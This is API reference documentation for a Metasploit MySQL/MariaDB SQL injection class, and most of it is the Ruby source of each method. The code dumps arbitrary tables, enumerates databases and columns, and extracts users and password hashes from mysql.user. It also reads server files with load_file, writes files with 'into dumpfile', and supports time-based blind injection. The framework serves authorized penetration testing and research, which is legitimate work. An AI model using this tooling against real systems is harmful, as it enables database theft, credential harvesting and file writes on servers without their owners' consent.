Class: Msf::Exploit::SQLi::MySQLi::Common
- Defined in:
- lib/msf/core/exploit/sqli/mysqli/common.rb
Overview
MySQL/MariaDB-specific SQL injection implementation.
Direct Known Subclasses
Constant Summary collapse
- ENCODERS =
Encoders supported by MySQL/MariaDB Keys are MySQL/MariaDB function names, values are decoding procs in Ruby
{ base64: { encode: 'replace(to_base64(^DATA^), \'\\n\', \'\')', decode: proc { |data| Base64.decode64(data) } }, hex: { encode: 'hex(^DATA^)', decode: proc { |data| Rex::Text.hex_to_raw(data) } } }.freeze
Instance Attribute Summary
Attributes inherited from Common
#concat_separator, #datastore, #framework, #null_replacement, #safe, #second_concat_separator, #truncation_length
Attributes included from Rex::Ui::Subscriber::Input
Attributes included from Rex::Ui::Subscriber::Output
Instance Method Summary collapse
-
#current_database ⇒ Object
Query the current database name @return [String] The name of the current database.
-
#current_user ⇒ Object
Query the current user @return [String] The username of the current user.
-
#dump_table_fields(table, columns, condition = '', num_limit = 0) ⇒ Object
Query the given columns of the records of the given table, that satisfy an optional condition @param table [String] The name of the table to query @param columns [Array] The names of the columns to query @param condition [String] An optional condition, return only the rows satisfying it @param num_limit [Integer] An optional maximum number of results to return @return [Array] An array, where each element is an array of strings representing a row of the results.
-
#enum_database_encoding(database = 'database()') ⇒ Object
Query the character encoding of the given database @param database [String] the name of a database, or a function call, defaults to the current database @return [String] The character encoding of the chosen database.
-
#enum_database_names ⇒ Object
Query the names of all the existing databases @return [Array] An array of Strings, the database names.
-
#enum_dbms_users ⇒ Array
Query the MySQL/MariaDB users (their username and password), this might require elevated privileges.
-
#enum_table_columns(table_name) ⇒ Object
Query the column names of the given table in the given database @param table_name [String] the name of the table of which you want to query the column names, eg: database.table @return [Array] An array of Strings, the column names in the given table belonging to the given database.
-
#enum_table_names(database = 'database()') ⇒ Object
Query the names of the tables in a given database @param database [String] the name of a database, or a function call, defaults to the current database @return [Array] An array of Strings, the table names in the given database.
-
#enum_view_names(database = 'database()') ⇒ Object
Query the names of the views in a given database @param database [String] the name of a database, or a function call, defaults to the current database @return [Array] An array of Strings, the view names in the given database.
-
#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ Common
constructor
See SQLi::Common#initialize.
-
#read_from_file(fpath, binary = false) ⇒ String
Attempt reading from a file on the filesystem, requires having the FILE privilege.
-
#sleep_call ⇒ String
Returns the SQL expression used to introduce a time delay in time-based blind injections.
-
#test_vulnerable ⇒ Boolean
Checks if the target is vulnerable (if the SQL injection is working fine), by checking that queries that should return known results return the results we expect from them.
-
#version ⇒ Object
Query the MySQL/MariaDB version @return [String] The MySQL/MariaDB version in use.
-
#write_to_file(fpath, data) ⇒ void
Attempt writing data to the file at the given path.
Methods inherited from Common
Methods included from Module::UI
Methods included from Module::UI::Message
#print_error, #print_good, #print_prefix, #print_status, #print_warning
Methods included from Module::UI::Message::Verbose
#vprint_error, #vprint_good, #vprint_status, #vprint_warning
Methods included from Module::UI::Line
#print_line, #print_line_prefix
Methods included from Module::UI::Line::Verbose
Methods included from Rex::Ui::Subscriber
Methods included from Rex::Ui::Subscriber::Input
Methods included from Rex::Ui::Subscriber::Output
#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning
Constructor Details
#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ Common
See SQLi::Common#initialize
29 30 31 32 33 34 35 36 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 29 def initialize(datastore, framework, user_output, opts = {}, &query_proc) if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol) # if it's a String or a Symbol, use a predefined encoder if it exists opts[:encoder] = opts[:encoder].downcase.intern opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]] end super end |
Instance Method Details
#current_database ⇒ Object
Query the current database name
@return [String] The name of the current database
50 51 52 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 50 def current_database call_function('database()') end |
#current_user ⇒ Object
Query the current user
@return [String] The username of the current user
58 59 60 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 58 def current_user call_function('user()') end |
#dump_table_fields(table, columns, condition = '', num_limit = 0) ⇒ Object
Query the given columns of the records of the given table, that satisfy an optional condition
@param table [String] The name of the table to query
@param columns [Array] The names of the columns to query
@param condition [String] An optional condition, return only the rows satisfying it
@param num_limit [Integer] An optional maximum number of results to return
@return [Array] An array, where each element is an array of strings representing a row of the results
132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 132 def dump_table_fields(table, columns, condition = '', num_limit = 0) return '' if columns.empty? one_column = columns.length == 1 if one_column columns = "ifnull(#{columns.first},'#{@null_replacement}')" columns = @encoder[:encode].sub('^DATA^', columns) if @encoder else columns = "concat_ws('#{@second_concat_separator}'," + columns.map do |col| col = "ifnull(#{col},'#{@null_replacement}')" @encoder ? @encoder[:encode].sub('^DATA^', col) : col end.join(',') + ')' end unless condition.empty? condition = ' where ' + condition end num_limit = num_limit.to_i limit = num_limit > 0 ? ' limit ' + num_limit.to_s : '' retrieved_data = nil if @safe # no group_concat, leak one row at a time row_count = run_sql("select count(1) from #{table}#{condition}").to_i num_limit = row_count if num_limit == 0 || row_count < num_limit retrieved_data = num_limit.times.map do |current_row| if @truncation_length truncated_query("select mid(cast(#{columns} as binary),^OFFSET^,#{@truncation_length}) from " \ "#{table}#{condition} limit #{current_row},1") else run_sql("select cast(#{columns} as binary) from #{table}#{condition} limit #{current_row},1") end end elsif num_limit > 0 # if limit > 0, an alias will be necessary alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) } if @truncation_length retrieved_data = truncated_query('select mid(group_concat(' \ "#{alias1}#{@concat_separator ? " separator '" + @concat_separator + "'" : ''}),"\ "^OFFSET^,#{@truncation_length}) from (select cast(#{columns} as binary) #{alias1} from #{table}"\ "#{condition}#{limit}) #{alias2}").split(@concat_separator || ',') else retrieved_data = run_sql("select group_concat(#{alias1}#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})"\ " from (select cast(#{columns} as binary) #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',') end elsif @truncation_length retrieved_data = truncated_query('select mid(group_concat(' \ "cast(#{columns} as binary)#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})," \ "^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator || ',') else retrieved_data = run_sql("select group_concat(cast(#{columns} as binary)#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})" \ " from #{table}#{condition}#{limit}").split(@concat_separator || ',') end retrieved_data.map do |row| row = row.split(@second_concat_separator) @encoder ? row.map { |x| @encoder[:decode].call(x) } : row end end |
#enum_database_encoding(database = 'database()') ⇒ Object
Query the character encoding of the given database
@param database [String] the name of a database, or a function call, defaults to the current database
@return [String] The character encoding of the chosen database
75 76 77 78 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 75 def enum_database_encoding(database = 'database()') dump_table_fields('information_schema.schemata', %w[DEFAULT_CHARACTER_SET_NAME], "SCHEMA_NAME=#{database.include?('(') ? database : "'" + database + "'"}").flatten[0] end |
#enum_database_names ⇒ Object
Query the names of all the existing databases
@return [Array] An array of Strings, the database names
66 67 68 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 66 def enum_database_names dump_table_fields('information_schema.schemata', %w[schema_name]).flatten end |
#enum_dbms_users ⇒ Array
Query the MySQL/MariaDB users (their username and password), this might require elevated privileges.
104 105 106 107 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 104 def enum_dbms_users # might require elevated privileges dump_table_fields('mysql.user', %w[User Password]) end |
#enum_table_columns(table_name) ⇒ Object
Query the column names of the given table in the given database
@param table_name [String] the name of the table of which you want to query the column names, eg: database.table
@return [Array] An array of Strings, the column names in the given table belonging to the given database
114 115 116 117 118 119 120 121 122 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 114 def enum_table_columns(table_name) table_schema_condition = '' if table_name.include?('.') database, table_name = table_name.split('.') table_schema_condition = " and table_schema=#{database.include?('(') ? database : "'" + database + "'"}" end dump_table_fields('information_schema.columns', %w[column_name], "table_name='#{table_name}'#{table_schema_condition}").flatten end |
#enum_table_names(database = 'database()') ⇒ Object
Query the names of the tables in a given database
@param database [String] the name of a database, or a function call, defaults to the current database
@return [Array] An array of Strings, the table names in the given database
85 86 87 88 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 85 def enum_table_names(database = 'database()') dump_table_fields('information_schema.tables', %w[table_name], "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten end |
#enum_view_names(database = 'database()') ⇒ Object
Query the names of the views in a given database
@param database [String] the name of a database, or a function call, defaults to the current database
@return [Array] An array of Strings, the view names in the given database
95 96 97 98 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 95 def enum_view_names(database = 'database()') dump_table_fields('information_schema.views', %w[table_name], "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten end |
#read_from_file(fpath, binary = false) ⇒ String
Attempt reading from a file on the filesystem, requires having the FILE privilege
221 222 223 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 221 def read_from_file(fpath, binary = false) call_function("load_file('#{fpath}')") end |
#sleep_call ⇒ String
Returns the SQL expression used to introduce a time delay in time-based blind injections. Defaults to sleep(SqliDelay). Subclasses can override this to use alternatives like BENCHMARK().
230 231 232 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 230 def sleep_call "sleep(#{datastore['SqliDelay']})" end |
#test_vulnerable ⇒ Boolean
Checks if the target is vulnerable (if the SQL injection is working fine), by checking that queries that should return known results return the results we expect from them
194 195 196 197 198 199 200 201 202 203 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 194 def test_vulnerable random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10) random_string = Rex::Text.rand_text_alphanumeric(random_string_len) query_string = "'#{random_string}'" query_string = @encoder[:encode].sub('^DATA^', query_string) if @encoder output = run_sql("select #{query_string}") return false if output.nil? (@encoder ? @encoder[:decode].call(output) : output) == random_string end |
#version ⇒ Object
Query the MySQL/MariaDB version
@return [String] The MySQL/MariaDB version in use
42 43 44 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 42 def version call_function('version()') end |
#write_to_file(fpath, data) ⇒ void
This method returns an undefined value.
Attempt writing data to the file at the given path
211 212 213 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 211 def write_to_file(fpath, data) raw_run_sql("select '#{data}' into dumpfile '#{fpath}'") end |